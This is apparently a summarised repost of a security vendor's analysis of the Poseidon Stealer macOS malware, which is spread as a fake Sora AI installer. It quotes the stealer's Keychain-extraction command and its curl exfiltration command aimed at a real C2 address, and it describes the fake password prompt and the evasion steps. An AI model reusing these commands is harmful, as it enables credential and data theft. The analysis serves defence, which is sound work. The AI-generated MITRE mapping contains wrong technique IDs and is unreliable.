Short Summary:
The article discusses the detection and analysis of the Poseidon Stealer malware by eSentire’s Threat Response Unit (TRU). This malware specifically targets macOS devices and employs deceptive techniques to steal sensitive information from users. The article highlights the importance of user awareness and endpoint monitoring to mitigate such threats.
Key Points:
- eSentire operates 24/7 SOCs with elite threat hunters and cyber analysts.
- The TRU team identified the Poseidon Stealer malware in August 2024.
- Initial access was gained through a drive-by download via a malicious Google Ads link.
- The malware disguises itself as a legitimate Sora AI installer.
- It uses terminal manipulation commands to evade detection.
- The malware collects sensitive data, including browser data and passwords, and exfiltrates it to a remote server.
- Recommendations include user training and endpoint protection measures.
MITRE ATT&CK TTPs – created by AI
- Initial Access (T1071.001)
- Drive-by download via malicious links.
- Execution (T1203)
- Execution of malicious payload disguised as legitimate software.
- Persistence (T1053)
- Using terminal commands to maintain persistence.
- Credential Access (T1555)
- Fake password prompts to capture user credentials.
- Exfiltration (T1041)
- Exfiltration of collected data to a remote server using curl.
Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.
We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.
Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.
In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.
Here’s the latest from our TRU Team…
What did we find?
In August 2024, eSentire’s Threat Response Unit (TRU) identified an incident involving the Poseidon Stealer, a malware written specifically to target macOS devices.
We assess with high confidence that the initial access occurred through a drive-by download. The user was directed to the malicious website via a Google Ads link and subsequently downloaded a disk image file masquerading as Sora AI installer, an upcoming artificial intelligence model developed by OpenAI. Malwarebytes has previously documented the distribution mechanism for the Poseidon Stealer.
The downloaded file is named “InstallSoraAI.dmg”, the image file contains the setup file, which is the Poseidon Stealer payload (Figure 1).
Opening the file in a disassembler, we can see the hex string that decodes to and a value that holds the custom base64-encoded strings (Figure 2).
Normally, if users run a program or script in the terminal, closing the terminal window will terminate that process. However, if the malware uses the “disown” command, it detaches itself from the terminal session. This means the malware continues running even after the terminal window is closed, effectively disconnecting itself from the terminal and making it less visible and more difficult for the user to detect and terminate.
To further cover its tracks, the malware may then use the “pkill Terminal” command to close the terminal application, preventing the user from noticing any suspicious activity.
Poseidon Stealer converts the AppleScript script into the hexadecimal format and then uses a custom Base64-encoding to encode the script. You can find configuration extractor script and the decoded script here and here.
The script creates a directory at the path “/tmp/xuyna/” – this is the main directory where the stealer stores the collected data before compressing it into a ZIP file and sending it to a remote server. The stealer copies various files from specific locations on a macOS system, including browser data, cryptocurrency wallets, data from Apple Notes, Keychain data, user’s documents, files that contain specific extensions such as “docx”, “zip”, “wallet”, “key”, “keys”, “doc”, “jpeg”, “png”), photos, and VPN configuration (OpenVPN and FortiVPN). It’s also worth noting that the stealer only copies files until a specified size limit (210 MB) is reached.
The “getpwd” function attempts to access Chrome Safe Storage to retrieve the master encryption key for Chrome by running the command:
- security 2>&1 > /dev/null find-generic-password -ga “Chrome” | awk “{print $2}”
Usually, when accessing secure items in the Keychain (like Chrome Safe Storage), macOS will prompt the user to enter their system password to allow access. But if the script could access the Keychain without the password prompt, which is generally impossible without user consent, it would store the master key in a file named “masterpass-chrome” within the “writemind” directory.
If it fails to access the key without the password prompt step fails, the script enters a loop where it repeatedly shows a fake dialog box to trick the user into entering their macOS password, thinking it’s a legitimate system prompt (Figure 4).
Once the user enters their password, the script checks its validity with “checkvalid(username, password_entered)”, and if the password is valid, the script saves it in the “writemind” directory under “pwd” filename and returns the password.
The stealer then uses “curl” command to send a file “/tmp/out.zip” containing the collected data to a C2 server hxxp://45.93.20[.]174/p2p using a POST request. The request includes custom headers such as a UUID, build ID, and username, which might be used by the server to identify and categorize the incoming data. The curl command:
- curl -X POST -H “uuid: eac4bf9bfd2748888c4a3c639f8c4936” -H “user: admin” -H “buildid: 1″ –data-binary @/tmp/out.zip hxxp://45.93.20[.]174/p2p”
In conclusion, the Poseidon Stealer malware uses a combination of deceptive techniques, such as fake password prompts, to trick users into revealing their credentials and stealth measures, like terminal manipulation, to evade detection. These tactics allow the malware to capture sensitive information and exfiltrate it to remote servers while remaining undetected from the user.
What did we do?
- Our team of 24/7 SOC Cyber Analysts isolated the affected host to contain the infection.
- We communicated what happened with the customer and helped them with remediation efforts.
What can you learn from this TRU Positive?
- The Poseidon stealer uses fake password prompts to trick users into revealing their credentials, highlighting the importance of user awareness and skepticism regarding system prompts.
- It utilizes terminal manipulation commands like “disown” and “pkill Terminal” to evade detection, underscoring the need for endpoint monitoring.
- The malware’s use of AppleScripts and osascript execution for staging and exfiltrating data highlights the need to monitor these script executions closely.
Recommendations from our Threat Response Unit (TRU):
- Train users to identify and report potentially malicious content using Phishing and Security Awareness Training (PSAT) programs.
- Ensure employees have access to a dedicated software center to download corporate-approved software.
- Protect endpoints against malware by:
Indicators of Compromise
You can access the indicators of compromise here.
References
Source: Original Post